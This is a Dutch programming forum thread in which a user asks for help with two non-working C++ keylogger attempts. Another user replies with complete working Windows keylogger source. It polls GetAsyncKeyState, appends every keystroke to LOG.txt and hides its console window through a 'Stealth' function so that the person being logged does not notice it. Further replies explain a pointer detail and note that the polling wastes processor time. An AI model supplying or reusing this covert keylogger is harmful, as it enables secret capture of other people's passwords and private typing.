keylogger

Status
Niet open voor verdere reacties.

mmatteman

Gebruiker
Lid geworden
3 sep 2008
Berichten
287
Ik heb na een tijdje weer geprobeerd te programmeren in C++
Ik wilde een tijd geleden een keylogger maken (voor educatieve doeleinden), alleen dat wilde niet zo lukken.

eerste probeerde ik dit :
Code:
#include <cstdlib>
#include <iostream>
#include <fstream.h>
#include <windows.h>
#include <conio.h>

using namespace std;

int main(int argc, char *argv[])
{
    ofstream out("test2.txt", ios::app);
    int i;
    char j;
   
    while(true)
    {
               for (i=0; i<255; i++)
               {
                   if (GetAsyncKeyState(i))
                   {
              j=i;                                     
    out << j;
}
}
}  
out.close();
}
Hier schrijft ie elke toets die ik indruk 255 keer naar 'test.txt'. En omdat al het andere dat ik probeerde met deze logica niet lukte, probeerde ik het zo:
Code:
#include <cstdlib>
#include <iostream>
#include <fstream.h>
#include <windows.h>
#include <conio.h>

using namespace std;

int main()
{
    ofstream out("test2.txt", ios::app);
    int i;
    char j;
   
    while(true)
    {
               
                   if (GetAsyncKeyState(i))
                   {
    j = i;
    cout << j;                                               
    
}

switch(i)
{
            case 32:
            out << " ";
            break;
            case 33:
            out << "!";
            break;
            case 34:
            out << "aanhalingstekens";
            break;
            case 35:
            out << "#";
            break;
            case 36:
            out << "$";
            break;          
            case 37:
            out << "%";
            break;
            case 38:
            out << "&";
            break;
            case 39:
            out << "'";
            break;
            case 40:
            out << "(";
            break;
            case 41:
            out << ")";
            break;
            case 42:
            out << "*";
            break;
            case 43:
            out << "+";
            break;
            case 44:
            out << "?";
            break;
            case 45:
            out << "-";
            break;
            case 46:
            out << ".";
            break;
            case 47:
            out << "/";
            break;
            case 48:
            out << "0";
            break;
            case 49:
            out << "1";
            break;
            case 50:
            out << "2";
            break;
            case 51:
            out << "3";
            break;
            case 52:
            out << "4";
            break;
            case 53:
            out << "5";
            break;
            case 54:
            out << "6";
            break;
            case 55:
            out << "7";
            break;
            case 56:
            out << "8";
            break;
            case 57:
            out << "9";
            break;
            case 58:
            out << ":";
            break;
            case 59:
            out << ";";
            break;
            case 60:
            out << "<";
            break;
            case 61:
            out << "=";
            break;
            case 62:
            out << ">";
            break;
            case 63:
            out << "?";
            break;
            case 64:
            out << "@";
            break;
            case 65:
            out << "A";
            
            break;
            case 66:
            out << "B";
            break;
            case 67:
            out << "C";
            break;
            case 68:
            out << "D";
            break;
            case 69:
            out << "E";
            break;
            case 70:
            out << "F";
            break;
            case 71:
            out << "G";
            break;
            case 72:
            out << "H";
            break;
            case 73:
            out << "I";
            break;
            case 74:
            out << "J";
            break;
            case 75:
            out << "K";
            break;
            case 76:
            out << "L";
            break;
            case 77:
            out << "M";
            break;
            case 78:
            out << "N";
            break;
            case 79:
            out << "O";
            break;
            case 80:
            out << "P";
            break;
            case 81:
            out << "Q";
            break;
            case 82:
            out << "R";
            break;
            case 83:
            out << "S";
            break;
            case 84:
            out << "T";
            break;
            case 85:
            out << "U";
            break;
            case 86:
            out << "V";
            break;
            case 87:
            out << "W";
            break;
            case 88:
            out << "X";
            break;
            case 89:
            out << "Y";
            break;
            case 90:
            out << "Z";
            break;
            case 91:
            out << "[";
            break;
            case 92:
            out << "schuine streep";
            break;          
            case 93:
            out << "]";
            break;
            case 94:
            out << "^";
            break;
            case 95:
            out << "_";
            break;
            case 96:
            out << "`";
            break;
            case 123:
            out << "{";
            break;
            case 124:
            out << "|";
            break;
            case 125:
            out << "}";
            break;
            case 126:
            out << "~";
            break;
            default:
            out << "";                                     
            break;
}
}  
out.close();
}

Nu gebeurt er helemaal niks.

Wat doe ik verkeerd?? :confused:
 
Laatst bewerkt:
Ik heb eens een tutorial gemaakt voor een ander forum, maar ik weet niet of ik de source mag posten.

Als dit niet mag, verwijder dan men post.

Code:
#include <iostream>    // These we need to
using namespace std;   // include to get our
#include <windows.h>   // Keylogger working.
#include <winuser.h>   //


int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
        Stealth(); 
	char i;

	while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
	{
		for(i = 8; i <= 190; i++)
		{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
		}
	}
	system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
	if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");

	cout << key_stroke << endl;

	    if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
    	else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
		else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ");
		else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
		fprintf(OUTPUT_FILE, "%s", "[TAB]");
			else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
			else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
				else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
				else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
					else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
					else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
						else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
						else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
							else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
							else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".");
							else
								fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
	return 0;
}

/* *********************************** */

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
 
Bedankt! dit heeft me heel erg geholpen, ik heb alleen één vraag:
bij
Code:
fprintf(OUTPUT_FILE, "%s", &key_stroke);
waarom moet die "&" voor "key_stroke"?
 
Om het adres van de char-array door te geven, zoals de functie verwacht.
Als je nog eens tijd over hebt, dan zou je pointers kunnen leren, waarna het bovenstaande een stuk logischer klinkt ;)
 
Hatseflats!

Dit stukje code zit dus continu te draaien en alle toetsen uit te lezen om te kijken of ze al dan niet ingedrukt zijn?
Vroegah... schreven we daarvoor een interrupt handler. Dit vreet processor-tijd.
 
Status
Niet open voor verdere reacties.

Nieuwste berichten

Terug
Bovenaan Onderaan